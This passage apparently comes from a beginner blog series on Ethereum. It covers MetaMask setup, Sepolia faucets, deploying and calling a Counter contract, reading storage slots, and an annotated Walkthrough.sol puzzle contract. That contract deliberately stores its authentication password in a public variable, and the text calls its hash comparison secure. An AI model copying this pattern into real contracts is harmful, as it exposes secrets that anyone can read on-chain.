const slot = "0x0"; // Slot 0 for storedValue

const result = await window.ethereum.request({
  method: "eth_getStorageAt",
  params: [contractAddress, slot, "latest"],
});

console.log("Stored value (raw hex):", result);
console.log("Stored value (parsed int):", parseInt(result, 16));

✅ This reads directly from Ethereum storage at the contract address!

In this walkthrough, we focused on deploying a contract and verifying its initial storage.

In the next article, we'll dive deeper — reading multiple storage slots, checking the contract's balance, and testing how it can receive ETH dynamically.

Stay tuned!

From Source to Blockchain: How Smart Contracts Go Live with Remix and MetaMask

Yuanyan Wu — Fri, 25 Apr 2025 21:48:16 +0000

Writing a smart contract is only the beginning. What happens between your source code and a live contract on the blockchain? In this article, we walk through the process with a clear road map.

Source

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Counter {
    uint256 public count;

    function increment() public {
        count += 1;
    }
}

Use Remix to compile

If you are not familiar with Remix, please read Remix Walk Through .

After compilation, you can access the ABI and bytecode of the contract from

ABI (Application Binary Interface)

[
    {
        "inputs": [],
        "name": "count",
        "outputs": [
            {
                "internalType": "uint256",
                "name": "",
                "type": "uint256"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "increment",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]

The ABI tells the outside world how to interact with your smart contract.

It’s basically a contract blueprint in JSON format. It lists:

The functions your contract exposes
The input and output types
Whether a function is view, pure, or payable
Event declarations

Bytecode

6080604052348015600e575f80fd5b506101468061001c5f395ff3fe608060405
234801561000f575f80fd5b5060043610610034575f3560e01c806306661abd14
610038578063d09de08a14610056575b5f80fd5b610040610060565b604051610
04d9190610097565b60405180910390f35b61005e610065565b005b5f5481565b
60015f8082825461007691906100dd565b92505081905550565b5f81905091905
0565b6100918161007f565b82525050565b5f6020820190506100aa5f83018461
0088565b92915050565b7f4e487b7100000000000000000000000000000000000
0000000000000000000005f52601160045260245ffd5b5f6100e78261007f565b
91506100f28361007f565b925082820190508082111561010a576101096100b05
65b5b9291505056fea26469706673582212201920942fd6ffcf09c56617da5862
83bff44d1d3907bbd711959cae8b1b26947164736f6c634300081a0033

The Bytecode is the raw machine-level code that the EVM (Ethereum Virtual Machine) understands — the actual executable logic of the contract.

Use Remix to deploy and run transactions

Change the ENVIRONMENT to "Injected Provider - MetaMask" . (Please install Metamask if you have not done so.) The default MetaMask network is "Ethereum Mainnet", i.e. real ETH. In order to switch the network, you can click on the down arrow on the top left corn, and pop up a dialog like this

Scroll all the way down, and turn on "Show test networks", and add "Sepolia",

You can see the account has a balance of 0.05 SepoliaETH, (Not ETH). As the cryptocurrency always lives in a blockchain, even the pro must double check to make sure the wallet software (in this case MetaMask) uses the right "network".

Now you can click on "Deploy" button in remix.ethereum.org.

Your browser will pop up a MetaMask dialog asking you to confirm the transaction.

. When you enters the crypto world, you must be careful about what you confirms. If you have any doubt, it's safer to click "Cancel" instead of "Confirm".

After your confirmation and a couple of minutes, the bytecode of the contract will be deployed to the Sepolia Testnet FOREVER, available for anyone to view and interact with.

You can view the transaction I approved at https://sepolia.etherscan.io/tx/0xe654e53a0661218cfc11528702e74e4df660b26a9fbc60445706f5b47a945887. The transaction created a contract https://sepolia.etherscan.io/address/0xce66d154524a190c48d879038deea2a6cf04a315

Interact with the contract using Remix

Reload Remix
Compile Counter.sol
Deploy & Run Transactions
- Use Injected Provider - MetaMask
- Paste the contract address on the right "At Address" button 0xce66d154524a190c48d879038deea2a6cf04a315
- Click "At Address" button
- Scroll all the way down, you can see two buttons: "count" and "increment"
- Click on "count", you get 0: uint256: 0, we know the live contract 0xce66d154524a190c48d879038deea2a6cf04a315 has a count 0 as its attribute. Because the count is "public", there will be no cost to access it.
- Click on "increment", this button is orange, so it triggers MetaMask confirmation dialog because this method call will change the "count" attribute of the contract live in the Sepolia Testnet, so you have to pay the cost to initiate the "state" change. After confirmation and a couple of minutes, the count will be changed to 1.
- Click on "count" again, you get 0: uint256: 1

🌐 Bonus: Interacting Directly via Chrome Console (Advanced)

If you're curious about how smart contracts are called and modified behind the scenes — without using Remix or libraries like ethers.js — here's a glimpse into interacting directly with the Ethereum network using the browser console and MetaMask.

(Feel free to skip this if you just want to stick with Remix for now!)

🔥 Steps to Call `count()` (Read the Public Variable)

Open the Chrome DevTools Console (F12 or Ctrl+Shift+I, then go to the Console tab) in the remix page.
Make sure MetaMask is unlocked and connected to Sepolia.
Connect to MetaMask from the console:

await window.ethereum.request({ method: 'eth_requestAccounts' });
const provider = window.ethereum;

const contractAddress = "0xce66d154524a190c48d879038deea2a6cf04a315";

const abi = [
  {
    "inputs": [],
    "name": "count",
    "outputs": [
      { "internalType": "uint256", "name": "", "type": "uint256" }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "increment",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  }
];

// Encode the ABI for the `count()` function
const countData = "count()";

// Alternatively, hardcode the function signature hash:
// keccak256("count()") first 4 bytes 
const countDataEncoded = "0x06661abd"; 

const params = [{
  to: contractAddress,
  data: countDataEncoded
}, "latest"];

const result = await provider.request({
  method: "eth_call",
  params: params
});

// Decode result (hex string to number)
console.log("Current count is:", parseInt(result, 16));

✅ You will see the current count (e.g., 1) printed directly into your console!

🔥 Send a Transaction to `increment()`

// `increment()` function signature: 
// keccak256("increment()") first 4 bytes
const incrementDataEncoded = "0xd09de08a";

const transactionParameters = {
  to: contractAddress,
  from: (await provider.request({ method: 'eth_accounts' }))[0],
  data: incrementDataEncoded
};

const txHash = await provider.request({
  method: 'eth_sendTransaction',
  params: [transactionParameters]
});

console.log("Transaction sent. Hash:", txHash);

✅ MetaMask will pop up asking you to approve and pay gas. After confirming, your count will increment.

✅ After mining, you can call count() again to verify it changed.

const result = await provider.request({
  method: "eth_call",
  params: params
});

// Decode result (hex string to number)
console.log("Current count is:", parseInt(result, 16));

VM274:7 Current count is: 2

References

EIP-1193: Ethereum Provider JavaScript API: https://eips.ethereum.org/EIPS/eip-1193
https://pi7.org/hash/keccak-256

Onboard Ethereum: A Beginner’s Guide to MetaMask, Testnets, and Your First Wallet

Yuanyan Wu — Thu, 24 Apr 2025 14:34:08 +0000

If you're curious about Ethereum but not sure where to start, this guide is for you. We'll help you set up your first wallet using MetaMask, connect to a test network, and try Ethereum safely — without spending real money.

🦊 What is MetaMask?

MetaMask is a crypto wallet and browser extension that lets you interact with the Ethereum blockchain — including sending transactions and using decentralized applications (dApps).

Install MetaMask and Set Up Your Wallet

Visit https://metamask.io and install the extension.

For the 1st time user, click “Create a Wallet”
If you're returning, click “Import an existing wallet”

🔐 What Does the MetaMask Password Actually Do?

This password can be a confusing concept for the first time user, so it’s important to understand what this password is (and isn’t).

✅ What the MetaMask Password Does

It unlocks MetaMask locally on your browser or device.
It encrypts your wallet data stored in the browser.
It prevents casual access — someone using your computer can't open MetaMask without it.

❌ What It Does Not Do

It does not protect your wallet on the Ethereum network.
It does not let you access your wallet from another browser or device.
It does not act as a recovery method — resetting MetaMask will wipe this password along with your wallet data.

📌 In Short

The MetaMask password is like a lock screen for your wallet on one device. It's useful, but not portable, and not a backup.

🔑 Understanding the Secret Recovery Phrase

This 12-word Secret Recovery Phrase (also called a seed phrase) is the ONLY way to restore your wallet if your browser is reset, your computer crashes, or you need to access it from a different device.

✅ What It Is

A randomly generated 12-word phrase that represents the private keys to your wallet.
It’s used to recover all assets, tokens, and accounts tied to your MetaMask wallet.
It’s standard across wallets — you can use it with other Ethereum-compatible wallets too.

❌ What It’s Not

It’s not a password you can reset.
It’s not recoverable by MetaMask, you, or anyone else if lost.
It’s not meant to be stored online or in screenshots.

🔐 How to Protect It

Write it down on paper — not in your Notes app, Google Docs, or email.
Store it offline, ideally in multiple physical copies (like a notebook or safe).
Never share it — if someone else gets your phrase, they can access all your funds instantly.

Your Secret Recovery Phrase as the master key to your wallet. Keep it safe, keep it secret, and never lose it.
Your Secret Recovery Phrase as the master key to your wallet. Keep it safe, keep it secret, and never lose it.
Your Secret Recovery Phrase as the master key to your wallet. Keep it safe, keep it secret, and never lose it.

📬 Overview of Your New Ethereum Account

Now you have your Ethereum account — in my case, it’s 0x31F6957daeB68d6B2809Af1c40a910E88Ce1D038.

But where does this account actually live?

It doesn’t exist in a bank, and it’s not stored in your browser either. Your account lives on the Ethereum network — or a compatible Ethereum-compatible blockchain — maintained by a global, decentralized, peer-to-peer network.

To participate in that network, even on testnets, you’ll need some cryptocurrency to get started. That’s where faucets come in.

💸 Get Free Test ETH (Faucets)

To interact with the Ethereum test network, you’ll need some test ETH — fake ETH that only works on testnets like Sepolia. You can get it for free from a faucet.

🪙 What’s a Faucet?

A faucet is a website that gives you a small amount of test ETH so you can try things out — like sending transactions, paying gas, or deploying smart contracts

🚰 How to Use a Faucet (Sepolia)

Visit: Google Cloud Sepolia Faucet

Paste your wallet address — for example:
0x31F6957daeB68d6B2809Af1c40a910E88Ce1D038

Click the “Receive 0.05 Sepolia ETH” button.

Wait a minute or two for the test ETH to arrive.

✅ Check the balance of the account at https://sepolia.etherscan.io/address/0x31f6957daeb68d6b2809af1c40a910e88ce1d038

Understanding Walkthrough.sol Solidity Contract Explained in Detail

Yuanyan Wu — Thu, 24 Apr 2025 02:12:25 +0000

In this post, we'll treat Walkthrough.sol introduced in my previous post as a learning tool to explore fundamental Solidity syntax — including variable declarations, access control, string hashing, and constructor logic.

/* Solidity can use /.../ as the delimited comments */
// as the line comments

// SPDX-License-Identifier: MIT
/* SPDX-License-Identifier tells tools which license applies.
It's required for verified contracts but is not enforced by the 
compiler itself. */

pragma solidity ^0.8.0;
/* The pragma directive specifies the compiler version required
to compile the contract. This helps avoid issues caused by
breaking changes in future Solidity versions. */

/* This contract's name is "Walkthrough". It does not need to be
in Walkthrough.sol, but anyName.sol. */
contract Walkthrough {
    /* 'string public password' creates a publicly readable
string variable. The 'public' keyword automatically generates a
getter function. All state variables are stored permanently on
the blockchain once the contract is deployed. */
    string public password;
    /* 'uint8' is an unsigned 8-bit integer, ranging from 0 to 
255. */
    uint8 public infoNum = 42;
    string public theMethodName = "The method name is method7123949.";
    /* 'bool' is either true or false.*/
    /* 'private' restricts access to within the contract, but the 
value is still publicly viewable on the blockchain. */
    bool private cleared = false;

    // constructor
    /* The constructor runs once at deployment. The 'memory'
keyword indicates the string parameter is stored temporarily
during execution. */
    constructor(string memory _password) {
        password = _password;
    }

    /* 'pure' This function neither reads nor modifies state. It 
returns a static string. */
    function info() public pure returns (string memory) {
        return "You will find what you need in info1().";
    }

    function info1() public pure returns (string memory) {
        return 'Try info2(), but with "hello" as a parameter.';
    }

    function info2(string memory param) public pure returns (string memory) {
        /* keccak256 is a built-in cryptographic hash function in 
Solidity returns a fixed 32-byte (bytes32) hash. Solidity doesn’t 
support string comparisons like Java or Python. So developers use
keccak256 to compare strings safely.*/
        /* The built in solidity function abi.encodePacked(...) 
flattens the string into bytes just like string.toByteArray() in 
Java. */
        if (
            keccak256(abi.encodePacked(param)) ==
            keccak256(abi.encodePacked("hello"))
        ) {
            return
                "The property infoNum holds the number of the next info method to call.";
        }
        return "Wrong parameter.";
    }

    function info42() public pure returns (string memory) {
        return "theMethodName is the name of the next method.";
    }

    function method7123949() public pure returns (string memory) {
        return "If you know the password, submit it to authenticate().";
    }

    function authenticate(string memory passkey) public {
        if (
            keccak256(abi.encodePacked(passkey)) ==
            keccak256(abi.encodePacked(password))
        ) {
            cleared = true;
        }
    }

    /* 'view' - This function reads state (cleared) but doesn't 
modify it. Use for on-chain reads. */
    function getCleared() public view returns (bool) {
        return cleared;
    }
}

🎁 Bonus: Understanding `keccak256` in Solidity

In Walkthrough.sol, the password is verified using this line:

if (keccak256(abi.encodePacked(passkey)) == 
keccak256(abi.encodePacked(password))) {

🔐 What is keccak256?
keccak256 is a built-in cryptographic hash function in Solidity. It accepts arbitrary input (usually bytes) and returns a 32-byte (bytes32) deterministic hash. It is irreversible and collision-resistant.

This is Ethereum’s version of SHA-3, used extensively in:

Comparing strings (since == doesn’t work directly)
Creating unique IDs
Generating signatures
Building Merkle trees and proofs

🧠 Why is it used here?
Solidity does not support direct string comparison using == like other languages:

if (passkey == password) // ❌ Not allowed

Instead, both strings are converted to bytes and hashed and compared:

if (keccak256(abi.encodePacked(passkey)) == 
keccak256(abi.encodePacked(password)))

This works because

If two strings are identical, their hashes will also be identical
Comparing fixed-size bytes32 values is gas-efficient and secure

⚠️ Common Gotchas
Do not use abi.encodePacked() with multiple dynamic types (like string, bytes, or uint[]), as it may cause hash collisions.

keccak256(abi.encodePacked("abc")) ==
keccak256(abi.encodePacked("a", "bc"))

To be safe, use abi.encode() if you’re hashing more than one variable.

🧠 Conclusion

By dissecting Walkthrough.sol, we've explored fundamental Solidity concepts, including state variables, function modifiers, and secure string comparisons. Understanding these elements is crucial for developing robust smart contracts.

Try experimenting with this contract in Remix or your local development environment to solidify your understanding of Solidity's fundamentals.